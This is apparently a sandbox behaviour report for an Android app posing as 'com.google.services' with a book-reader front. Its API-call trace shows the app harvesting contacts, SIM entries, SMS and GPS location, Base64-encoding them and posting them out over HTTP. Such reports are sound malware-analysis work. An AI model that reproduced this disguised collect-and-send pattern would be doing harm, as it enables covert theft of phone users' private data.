API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.util.Log->i Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: java.lang.String->equals Show source
API: org.apache.http.client.methods.HttpPost-><init> Show source
API: java.util.ArrayList-><init> Show source
API: java.lang.String->toString Show source
API: java.lang.String->toString Show source
API: org.apache.http.message.BasicNameValuePair-><init> Show source
API: java.util.List->add Show source
API: org.apache.http.client.entity.UrlEncodedFormEntity-><init> Show source
API: org.apache.http.client.methods.HttpPost->setEntity Show source
API: org.apache.http.impl.client.DefaultHttpClient-><init> Show source
API: org.apache.http.impl.client.DefaultHttpClient->getParams Show source
API: java.lang.Integer->valueOf Show source
API: org.apache.http.impl.client.DefaultHttpClient->getParams Show source
API: java.lang.Integer->valueOf Show source
API: org.apache.http.HttpResponse->getStatusLine Show source
API: android.util.Log->i Show source
API: android.util.Log->i Show source
API: android.util.Log->i Show source
API: android.content.BroadcastReceiver-><init> Show source
API: android.content.Intent->getAction Show source
API: java.lang.String->equals Show source
API: android.content.Intent->getExtras Show source
API: android.os.Bundle->get Show source
API: android.telephony.SmsMessage->createFromPdu Show source
API: java.lang.StringBuilder-><init> Show source
API: android.telephony.SmsMessage->getOriginatingAddress Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: android.telephony.SmsMessage->getMessageBody Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: android.content.Intent-><init> Show source
API: android.content.Intent->setAction Show source
API: android.os.Bundle-><init> Show source
API: android.os.Bundle->putString Show source
API: android.content.Intent->putExtras Show source
API: android.content.Context->sendBroadcast Show source
API: java.lang.String->equals Show source
API: android.os.Bundle->containsKey Show source
API: android.util.Log->i Show source
API: java.lang.String->toString Show source
API: android.os.Bundle->containsKey Show source
API: android.util.Log->i Show source
API: android.os.Bundle->get Show source
API: java.lang.Object->toString Show source
API: android.os.Bundle->containsKey Show source
API: android.util.Log->i Show source
API: android.os.Bundle->get Show source
API: java.lang.Object->toString Show source
API: android.os.Bundle->containsKey Show source
API: android.os.Bundle->get Show source
API: java.lang.Object->toString Show source
API: com.google.services.sendReceiver$1-><init> Show source
API: com.google.services.sendReceiver$1->start Show source
API: android.content.BroadcastReceiver-><init> Show source
API: com.google.services.sendReceiver->access$000 Show source
API: com.google.services.sendReceiver->access$100 Show source
API: java.lang.Thread-><init> Show source
API: java.lang.Thread-><init> Show source
API: com.google.services.sendReceiver->access$000 Show source
API: com.google.services.sendReceiver->access$100 Show source
API: com.google.services.sendReceiver->access$000 Show source
API: com.google.services.sendReceiver->access$100 Show source
API: java.lang.Thread-><init> Show source
API: com.google.services.sendReceiver->access$000 Show source
API: com.google.services.sendReceiver->access$100 Show source
API: java.lang.Thread-><init> Show source
API: android.app.Activity->onCreate Show source
API: com.google.services.turntest->requestWindowFeature Show source
API: com.google.services.turntest->getWindow Show source
API: android.view.Window->setFlags Show source
API: com.google.services.PageWidget-><init> Show source
API: android.graphics.Bitmap->createBitmap Show source
API: android.graphics.Bitmap->createBitmap Show source
API: android.graphics.Canvas-><init> Show source
API: android.graphics.Canvas-><init> Show source
API: com.google.services.turntest->getResources Show source
API: android.graphics.BitmapFactory->decodeResource Show source
API: com.google.services.turntest->getBaseContext Show source
API: com.google.services.PageWidget->setBitmaps Show source
API: com.google.services.PageWidget->setOnTouchListener Show source
API: android.app.Activity-><init> Show source
API: java.lang.Object-><init> Show source
API: com.google.services.turntest->access$000 Show source
API: android.view.MotionEvent->getAction Show source
API: com.google.services.turntest->access$000 Show source
API: com.google.services.PageWidget->abortAnimation Show source
API: com.google.services.turntest->access$000 Show source
API: android.view.MotionEvent->getX Show source
API: android.view.MotionEvent->getY Show source
API: com.google.services.PageWidget->calcCornerXY Show source
API: com.google.services.turntest->access$000 Show source
API: com.google.services.PageWidget->DragToRight Show source
API: java.io.IOException->printStackTrace Show source
API: com.google.services.turntest->access$000 Show source
API: com.google.services.PageWidget->setBitmaps Show source
API: com.google.services.turntest->access$000 Show source
API: com.google.services.PageWidget->doTouchEvent Show source
API: java.io.IOException->printStackTrace Show source
API: java.lang.String->getBytes Show source
API: java.lang.String-><init> Show source
API: java.lang.RuntimeException-><init> Show source
API: java.io.InputStream->read Show source
API: java.io.OutputStream->write Show source
API: java.lang.Object-><init> Show source
API: it.sauronsoftware.base64.Base64InputStream-><init> Show source
API: java.io.FileInputStream-><init> Show source
API: java.io.FileOutputStream-><init> Show source
API: java.io.OutputStream->close Show source
API: java.io.InputStream->close Show source
API: java.io.OutputStream->close Show source
API: java.io.InputStream->close Show source
API: java.io.FileInputStream-><init> Show source
API: java.io.FileOutputStream-><init> Show source
API: java.io.OutputStream->close Show source
API: java.io.InputStream->close Show source
API: java.io.OutputStream->close Show source
API: java.io.InputStream->close Show source
API: java.lang.String->getBytes Show source
API: java.lang.String-><init> Show source
API: java.lang.RuntimeException-><init> Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.RuntimeException-><init> Show source
API: java.io.ByteArrayInputStream-><init> Show source
API: java.io.ByteArrayOutputStream-><init> Show source
API: java.io.ByteArrayInputStream->close Show source
API: java.io.ByteArrayOutputStream->close Show source
API: java.io.ByteArrayOutputStream->toByteArray Show source
API: java.lang.RuntimeException-><init> Show source
API: java.io.ByteArrayInputStream->close Show source
API: java.io.ByteArrayOutputStream->close Show source
API: java.lang.String->getBytes Show source
API: java.lang.StringBuilder-><init> Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->append Show source
API: java.lang.StringBuilder->toString Show source
API: java.lang.RuntimeException-><init> Show source
API: java.lang.RuntimeException-><init> Show source
API: java.io.ByteArrayInputStream-><init> Show source
API: java.io.ByteArrayOutputStream-><init> Show source
API: java.io.ByteArrayInputStream->close Show source
API: java.io.ByteArrayOutputStream->close Show source
API: java.io.ByteArrayOutputStream->toByteArray Show source
API: java.lang.RuntimeException-><init> Show source
API: java.io.ByteArrayInputStream->close Show source
API: java.io.ByteArrayOutputStream->close Show source
API: java.io.FileInputStream-><init> Show source
API: java.io.FileOutputStream-><init> Show source
API: java.io.OutputStream->close Show source
API: java.io.InputStream->close Show source
API: java.io.OutputStream->close Show source
API: java.io.InputStream->close Show source
API: java.lang.String->getBytes Show source
API: java.lang.String-><init> Show source
API: java.lang.RuntimeException-><init> Show source
API: it.sauronsoftware.base64.Base64OutputStream-><init> Show source
API: it.sauronsoftware.base64.Base64OutputStream->commit Show source
API: java.io.InputStream->read Show source
API: java.io.IOException-><init> Show source
API: java.lang.String->indexOf Show source
API: java.io.IOException-><init> Show source
API: java.io.IOException-><init> Show source
API: java.io.InputStream->read Show source
API: java.io.IOException-><init> Show source
API: java.lang.String->indexOf Show source
API: java.io.InputStream->close Show source
API: it.sauronsoftware.base64.Base64InputStream->acquire Show source
API: java.io.InputStream-><init> Show source
API: it.sauronsoftware.base64.Base64OutputStream-><init> Show source
API: it.sauronsoftware.base64.Base64OutputStream->commit Show source
API: java.io.OutputStream->close Show source
API: java.io.OutputStream-><init> Show source
API: java.lang.String->getBytes Show source
API: java.io.OutputStream->write Show source
API: java.lang.String->charAt Show source
API: java.lang.String->charAt Show source
API: java.io.OutputStream->write Show source
API: java.io.OutputStream->write Show source
API: java.io.OutputStream->write Show source
API: java.io.OutputStream->write Show source
API: java.lang.String->charAt Show source
API: java.lang.String->charAt Show source
API: it.sauronsoftware.base64.Base64OutputStream->commit Show source
API: java.lang.Object-><init> Show source
Method: com.google.services.PhoneService.isConnect Show source
NameTypeValue
p0java.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@a0a6c780
Method: com.google.services.PhoneService.isConnect Show source
NameTypeValue
p0java.lang.String
  • toString: connectivity
NameTypeValue
Return Valueandroid.net.ConnectivityManager
  • toString: android.net.ConnectivityManager@a0a6c780
Method: com.google.services.PhoneService.onCreate Show source
NameTypeValue
p0java.lang.String
  • toString: native
p1java.lang.String
  • toString: ""
NameTypeValue
Return Valuejava.lang.String
  • toString: ""
Method: com.google.services.AlarmService.getPhoneContacts Show source
NameTypeValue
p0android.net.Uri$HierarchicalUri
  • toString: content://com.android.contacts/data/phones
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a09bf818
  • Arrays.toString: [display_name, data1]
p2null
  • $1: null
p3null
  • $1: null
p4null
  • $1: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a06795a8
Method: com.google.services.AlarmService.getSIMContacts Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://icc/adn
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a09bf818
  • Arrays.toString: [display_name, data1]
p2null
  • $1: null
p3null
  • $1: null
p4null
  • $1: null
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a09c4e48
Method: com.google.services.AlarmService.getSms Show source
NameTypeValue
p0android.net.Uri$StringUri
  • toString: content://sms/
p1[Ljava.lang.String;
  • toString: [Ljava.lang.String;@a0a8e7c8
  • Arrays.toString: [_id, address, person, body, date, type]
p2null
  • $1: null
p3null
  • $1: null
p4java.lang.String
  • toString: date desc
NameTypeValue
Return Valueandroid.content.ContentResolver$CursorWrapperInner
  • toString: android.content.ContentResolver$CursorWrapperInner@a0a52c08
Method: com.google.services.alarmReceiver.onReceive Show source
Method: com.google.services.sendReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.system.receiver
Method: com.google.services.sendReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.system.receiver
Method: com.google.services.sendReceiver.onReceive Show source
NameTypeValue
Return Valuejava.lang.String
  • toString: com.google.system.receiver
Method: com.google.services.alarmReceiver.onReceive Show source
Method: com.google.services.sendReceiver.onReceive Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{location=No location found}]
Method: com.google.services.sendReceiver.onReceive Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[mParcelledData.dataSize=144]
Method: com.google.services.sendReceiver.onReceive Show source
NameTypeValue
Return Valueandroid.os.Bundle
  • toString: Bundle[{sms=no result!}]
Method: com.google.services.alarmReceiver.onReceive Show source
Method: com.google.services.AlarmService.updateWithNewLocation Show source
NameTypeValue
p0android.os.Bundle
  • toString: Bundle[{location=No location found}]
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
Method: com.google.services.AlarmService.onCreate Show source
NameTypeValue
p0android.os.Bundle
  • toString: Bundle[{contact=mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#}]
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
Method: com.google.services.AlarmService.onStart Show source
NameTypeValue
p0android.os.Bundle
  • toString: Bundle[{sms=no result!}]
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
Method: com.google.services.AlarmService.onCreate Show source
NameTypeValue
accuracyjava.lang.Integer
  • toString: 1
Method: com.google.services.AlarmService.onCreate Show source
NameTypeValue
p0java.lang.Boolean
  • toString: true
Method: com.google.services.AlarmService.onCreate Show source
NameTypeValue
providerjava.lang.String
  • toString: gps
NameTypeValue
Return Valuenull
  • $1: null
Method: com.google.services.AlarmService.onCreate Show source
NameTypeValue
p0java.lang.String
  • toString: gps
p1java.lang.Long
  • toString: 10000
p2java.lang.Float
  • toString: 20.0
p3com.google.services.AlarmService$1
  • toString: com.google.services.AlarmService$1@a09b7f78
Method: com.google.services.PhoneService.isConnect Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: NetworkInfo: type: MOBILE[???], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), roaming: false, failover: false, isAvailable: false
Method: com.google.services.PhoneService.isConnect Show source
NameTypeValue
Return Valueandroid.net.NetworkInfo
  • toString: NetworkInfo: type: MOBILE[???], state: CONNECTED/CONNECTED, reason: (unspecified), extra: (none), roaming: false, failover: false, isAvailable: false
Method: com.google.services.PhoneService.isConnect Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
Method: com.google.services.PhoneService.isConnect Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
Method: com.google.services.AlarmService.getSIMContacts Show source
NameTypeValue
uriStringjava.lang.String
  • toString: content://icc/adn
NameTypeValue
Return Valueandroid.net.Uri$StringUri
  • toString: content://icc/adn
Method: com.google.services.AlarmService.getSms Show source
NameTypeValue
uriStringjava.lang.String
  • toString: content://sms/
NameTypeValue
Return Valueandroid.net.Uri$StringUri
  • toString: content://sms/
Method: com.google.services.PhoneService.onCreate Show source
NameTypeValue
p0java.lang.String
  • toString: telmark
NameTypeValue
Return Valuejava.lang.String
  • toString: phone
Method: com.google.services.sendReceiver.onReceive Show source
NameTypeValue
p0java.lang.String
  • toString: location
NameTypeValue
Return Valuejava.lang.String
  • toString: No location found
Method: com.google.services.sendReceiver.onReceive Show source
NameTypeValue
p0java.lang.String
  • toString: contact
NameTypeValue
Return Valuejava.lang.String
  • toString: mobile:Galaxy Nexus,SDK version:17,OS version:4.2.1#
Method: com.google.services.sendReceiver.onReceive Show source
NameTypeValue
p0java.lang.String
  • toString: sms
NameTypeValue
Return Valuejava.lang.String
  • toString: no result!
Method: com.google.services.sendReceiver.onReceive Show source
NameTypeValue
p0java.lang.String
  • toString: sms
NameTypeValue
Return Valuejava.lang.String
  • toString: no result!
Method: com.google.services.AlarmService.onCreate Show source
NameTypeValue
p0java.lang.String
  • toString: location
NameTypeValue
Return Valueandroid.location.LocationManager
  • toString: android.location.LocationManager@a09fc9d8
Method: com.google.services.AlarmService.onCreate Show source
NameTypeValue
p0com.google.services.alarmReceiver
  • toString: com.google.services.alarmReceiver@a0a7c418
p1android.content.IntentFilter
  • toString: android.content.IntentFilter@a0a7c120
  • getAction0: android.provider.Telephony.SMS_RECEIVED
NameTypeValue
Return Valuenull
  • $1: null
Method: com.google.services.AlarmService.updateWithNewLocation Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
Method: com.google.services.AlarmService.onCreate Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
Method: com.google.services.AlarmService.onStart Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { act=com.google.system.receiver (has extras) }
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService$1.run Show source
NameTypeValue
p0com.google.services.sendReceiver
  • toString: com.google.services.sendReceiver@a0a681c0
p1android.content.IntentFilter
  • toString: android.content.IntentFilter@a0671120
  • getAction0: com.google.system.receiver
NameTypeValue
Return Valuenull
  • $1: null
Method: com.google.services.PhoneService.serviceInit Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.google.services/.AlarmService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.google.services/com.google.services.AlarmService}
Method: com.google.services.ScreenReceiver.isServiceRunning Show source
NameTypeValue
p0java.lang.String
  • toString: activity
NameTypeValue
Return Valueandroid.app.ActivityManager
  • toString: android.app.ActivityManager@a0a40800
Method: com.google.services.ScreenReceiver.isServiceRunning Show source
NameTypeValue
p0java.lang.String
  • toString: activity
NameTypeValue
Return Valueandroid.app.ActivityManager
  • toString: android.app.ActivityManager@a0a40800
Method: com.google.services.turntest.onCreate Show source
NameTypeValue
p0com.google.services.PageWidget
  • toString: com.google.services.PageWidget@a0672d60
Method: com.google.services.ScreenReceiver.onReceive Show source
NameTypeValue
p0android.content.Intent
  • toString: Intent { cmp=com.google.services/.PhoneService }
NameTypeValue
Return Valueandroid.content.ComponentName
  • toString: ComponentInfo{com.google.services/com.google.services.PhoneService}
Method: com.google.services.BookPageFactory.openbook Show source
NameTypeValue
p0java.io.File
  • toString: /data/data/com.google.services/files
p1java.lang.String
  • toString: test.txt
NameTypeValue
Return Valuejava.io.File
  • toString: /data/data/com.google.services/files/test.txt
Method: com.google.services.BookPageFactory.openbook Show source
NameTypeValue
p0java.io.File
  • toString: /data/data/com.google.services/files
p1java.lang.String
  • toString: test.txt
NameTypeValue
Return Valuejava.io.File
  • toString: /data/data/com.google.services/files/test.txt
Method: com.google.services.BookPageFactory.openbook Show source
NameTypeValue
Return Valuejava.lang.Long
  • toString: 285
Method: it.sauronsoftware.base64.Base64.encode Show source
Method: com.google.services.BookPageFactory.pageUp Show source
Method: it.sauronsoftware.base64.Base64.decode Show source
Method: it.sauronsoftware.base64.Base64.decode Show source
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a067c4a8
  • $1: [UNREADABLE UNICODE]
  • $2: D7F2CCECCFC2CEE7A3ACC8ABB9FAD5FED0AD0D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0977bf8
  • $1: [UNREADABLE UNICODE]
  • $2: CAAEB6FEBDECD2BBB4CEBBE1D2E9D0C2CEC50D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09833a8
  • $1: [UNREADABLE UNICODE]
  • $2: B7A2B2BCBBE1D4DAC1BDBBE1D0C2CEC5D6D00D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a098eb58
  • $1: [UNREADABLE UNICODE]
  • $2: D0C4BED9D0D0A1A3D5FED0ADB4F3BBE1D0C20D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a099a308
  • $1: [UNREADABLE UNICODE]
  • $2: C8CED0C2CEC5B7A2D1D4C8CBC2C0D0C2BBAA0D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09a5ab8
  • $1: [UNREADABLE UNICODE]
  • $2: A3ACBBD8B4F0C1CBC8ABC7F2BCC7D5DFB9D80D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09b11c0
  • $1: [UNREADABLE UNICODE]
  • $2: D3DAD6D0C8D5B9D8CFB5A1A2CEEDF6B2D6CE0D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09bc8c8
  • $1: [UNREADABLE UNICODE]
  • $2: C0EDA1A2CFE3B8DBC4CCB7DBCFDEB9BAA1A20D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09c8078
  • $1: 8
  • $2: CFE3B8DBCCD8CAD7C6D5D1A1B5C838B8F60D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: 8
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09d3598
  • $1: [UNREADABLE UNICODE]
  • $2: CECACCE2A1A3C2C0D0C2BBAAB1EDCABEA3AC0D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09ded48
  • $1: [UNREADABLE UNICODE]
  • $2: C8E7C8D5B7BDD4DAB5F6D3E3B5BACECACCE20D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09ea558
  • $1: [UNREADABLE UNICODE]
  • $2: C9CFBCCCD0F8BCE1B3D6B4EDCEF3D7F6B7A80D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09f5d08
  • $1: [UNREADABLE UNICODE]
  • $2: A3ACD4ECB3C9B2C1C7B9D7DFBBF0B5C4BAF30D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0a014b8
  • $1: [UNREADABLE UNICODE]
  • $2: B9FBA3ACC8D5B7BDD0EBB3D0B5A3D2BBC7D00D0A
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: com.google.services.BookPageFactory.pageDown Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0a0cc68
  • $1: [UNREADABLE UNICODE]
  • $2: BAF3B9FBA1A3
p1java.lang.String
  • toString: GBK
NameTypeValue
Return Valuejava.lang.String
  • toString: [UNREADABLE UNICODE]
Method: it.sauronsoftware.base64.Base64.encode Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0a45bc8
  • $1: Tm8gbG9jYXRpb24gZm91bmQ=
  • $2: 546D38676247396A59585270623234675A6D3931626D513D
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: Tm8gbG9jYXRpb24gZm91bmQ=
Method: it.sauronsoftware.base64.Base64.encode Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0a84728
  • $1: bW9iaWxlOkdhbGF4eSBOZXh1cyxTREsgdmVyc2lvbjoxNyxPUyB2ZXJzaW9uOjQuMi4xIw==
  • $2: 625739696157786C4F6B6468624746346553424F5A5868316379785452457367646D567963326C76626A6F784E797850557942325A584A7A615739754F6A51754D69347849773D3D
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: bW9iaWxlOkdhbGF4eSBOZXh1cyxTREsgdmVyc2lvbjoxNyxPUyB2ZXJzaW9uOjQuMi4xIw==
Method: it.sauronsoftware.base64.Base64.encode Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09b6728
  • $1: bm8gcmVzdWx0IeWujOavlQ==
  • $2: 626D3867636D567A64577830496557756A4F61766C513D3D
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: bm8gcmVzdWx0IeWujOavlQ==
Method: it.sauronsoftware.base64.Base64.encode Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a09c7168
  • $1: O25vIHJlc3VsdCHlrozmr5U=
  • $2: 4F32357649484A6C633356736443486C726F7A6D7235553D
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: O25vIHJlc3VsdCHlrozmr5U=
Method: it.sauronsoftware.base64.Base64.encode Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a0975990
  • $1: O21vYmlsZTpHYWxheHkgTmV4dXMsU0RLIHZlcnNpb246MTcsT1MgdmVyc2lvbjo0LjIuMSM=
  • $2: 4F323176596D6C735A5470485957786865486B67546D563464584D735530524C49485A6C636E4E70623234364D54637354314D67646D567963326C76626A6F304C6A49754D534D3D
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: O21vYmlsZTpHYWxheHkgTmV4dXMsU0RLIHZlcnNpb246MTcsT1MgdmVyc2lvbjo0LjIuMSM=
Method: it.sauronsoftware.base64.Base64.encode Show source
NameTypeValue
p0java.lang.Object
  • toString: [B@a097e368
  • $1: O05vIGxvY2F0aW9uIGZvdW5k
  • $2: 4F30357649477876593246306157397549475A766457356B
p1java.lang.String
  • toString: ASCII
NameTypeValue
Return Valuejava.lang.String
  • toString: O05vIGxvY2F0aW9uIGZvdW5k
Method: com.google.services.AlarmService.updateWithNewLocation Show source
Method: com.google.services.AlarmService.getPhoneContacts Show source
Method: it.sauronsoftware.base64.Base64.decode Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.PhoneService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: com.google.services.AlarmService.onCreate Show source
Method: it.sauronsoftware.base64.Base64.encode Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.AlarmService.getSms Show source
Method: com.google.services.PhoneService$1.run Show source
Method: com.google.services.BookPageFactory.pageDown Show source
Method: com.google.services.BookPageFactory.wilDraw Show source
Method: com.google.services.alarmReceiver.onReceive Show source
Method: com.google.services.AlarmService.getSIMContacts Show source
Method: com.google.services.AlarmService.updateWithNewLocation Show source
Method: com.google.services.AlarmService.updateWithNewLocation Show source
Method: com.google.services.AlarmService.updateWithNewLocation Show source
Method: com.google.services.AlarmService.updateWithNewLocation Show source
Method: com.google.services.AlarmService.getPhoneContacts Show source
Method: com.google.services.AlarmService.getPhoneContacts Show source
Method: com.google.services.AlarmService.getPhoneContacts Show source
Method: com.google.services.AlarmService.getPhoneContacts Show source
Method: com.google.services.AlarmService.getPhoneContacts Show source
Method: com.google.services.AlarmService.getPhoneContacts Show source
Method: it.sauronsoftware.base64.Base64.decode Show source
Method: it.sauronsoftware.base64.Base64.decode Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
Method: com.google.services.SendInfo.sendInfo Show source
